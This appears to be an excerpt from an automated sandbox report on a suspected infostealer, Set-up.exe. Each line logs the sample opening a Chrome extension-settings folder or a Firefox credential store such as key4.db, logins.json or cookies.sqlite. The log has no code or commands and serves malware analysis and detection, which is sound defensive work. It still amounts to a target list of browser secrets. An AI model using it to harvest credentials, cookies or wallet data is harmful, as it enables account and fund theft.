Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ljfpcifpgbbchoddpjefaipoiigpdmag Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nihlebdlccjjdejgocpogfpheakkpodb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pdgbckgdncnhihllonhnjbdoighgpimk Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpilbniiabackdjcionkobglmddfbcjo Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bopcbmipnjdcdfflfgjdgdjejmgpoaab Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\Mozilla\Firefox\Profiles\Local State Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\Mozilla\Firefox\Profiles\Local State Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fdjamakpfbbddfjaooikfcpapjohcfmg Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nphplpgoakhhjchkkhmiggakijnkhfnd Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lfochlioelphaglamdcakfjemolpichk Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\Mozilla\Firefox\Profiles\Local State Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ldpmmllpgnfdjkmhcficcifgoeopnodc Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\naepdomgkenhinolocfifgehidddafch Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\iodngkohgeogpicpibpnaofoeifknfdo Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fmhjnpmdlhokfidldlglfhkkfhjdmhgl Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fooolghllnmhmmndgjiamiiodkpenpbb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kmphdnilpmdejikjdnlbcnmnabepfgkh Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mbcafoimmibpjgdjboacfhkijdkmjocd Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aodkkagnadcbobfpggfnjeongemjbjca Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fldfpgipfncgndfolcbkdeeknbbbnhcc Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jhfjfclepacoldmjmkmdlmganfaalklb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmjmllblpcbmniokccdoaiahcdajdjof Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flhbololhdbnkpnnocoifnopcapiekdi Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\njojblnpemjkgkchnpbfllpofaphbokk Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hmeobnfnfcmdkdcmlblgagmfpfboieaf Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fiikommddbeccaoicoejoniammnalkfa Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cfhdojbkjhnklbpkdaibdccddilifddb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\Local State Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cgeeodpfagjceefieflmdfphplkenlfk Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\khpkpbbcccdmmclmpigdgddabeilkdpd Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijpdbdidkomoophdnnnfoancpbbmpfcn Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mdjmfdffdcmnoblignmgpommbefadffd Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fdfigkbdjmhpdgffnbdbicdmimfikfig Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfel Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\omaabbefbmiijedngplfjmnooppbclkk Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpmkedoipcpimgecpmgpldfpohjplkpp Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\djclckkglechooblngghdinmeemkbgci Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jfdlamikmbghhapbgfoogdffldioobgl Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\chgfefjpcobfbnpmiokfjjaglahmnded Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfogiafebfohielmmehodmfbbebbbpei Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bifidjkcdpgfnlbcjpdkdcnbiooooblg Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pnlccmojcmeohlpggmfnbbiapkmbliob Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbkfoedolllekgbhcbcoahefnbanhhlh Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\igkpcodhieompeloncfnbekccinhapdb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onapnnfmpjmbmdcipllnjmjdjfonfjdm Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key3.db Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oiaanamcepbccmdfckijjolhlkfocbgj Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ogphgbfmhodmnmpnaadpbdadldbnmjji Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\enabgbdfcbaehmbigakijjabdpdnimlg Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnkelfanjkeadonecabehalmbgpfodjm Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hhmkpbimapjpajpicehcnmhdgagpfmjc Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ckdjpkejmlgmanmmdfeimelghmdfeobe Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojhpaddibjnpiefjkbhkfiaedepjheca Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\iokeahhehimjnekafflcihljlcjccdbe Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kmmkllgcgpldbblpnhghdojehhfafhro Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cfdldlejlcgbgollnbonjgladpgeogab Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ekkhlihjnlmjenikbgmhgjkknoelfped Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcjginnbdlkdnnahogchmeidnmfckjom Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kbdcddcmgoplfockflacnnefaehaiocb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kgdijkcfiglijhaglibaidbipiejjfdp Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilbibkgkmlkhgnpgflcjdfefbkpehoom Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkhmbjifakpikpapdiaepgkdephjgnma Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnefghmjgbmpkjjfhefnenfnejdjneog Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhilaheimglignddkjgofkcbgekhenbh Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcobl Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\llalnijpibhkmpdamakhgmcagghgmjab Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nebnhfamliijlghikdgcigoebonmoibm Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcbigmjiafegjnnogedioegffbooigli Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kfdniefadaanbjodldohaedphafoffoh Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddffflal Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibegklajigjlbljkhfpenpfoadebkokl Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdpelninpfbopdfbppfopcmoepikkgk Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\epapihdplajcdnnkdeiahlgigofloibg Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ebfidpplhabeedpnhjnobghokpiioolj Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fpcamiejgfmmhnhbcafmnefbijblinff Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\Mozilla\Firefox\Profiles\Local State Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ldinpeekobnhjjdofggfgjlcehhmanlj Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bmikpgodpkclnkgmnpphehdgcimmided Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hjagdglgahihloifacmhaigjnkobnnih Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kglcipoddmbniebnibibkghfijekllbl Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ablbagjepecncofimgjmdpnhnfjiecfm Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno Jump to behavior
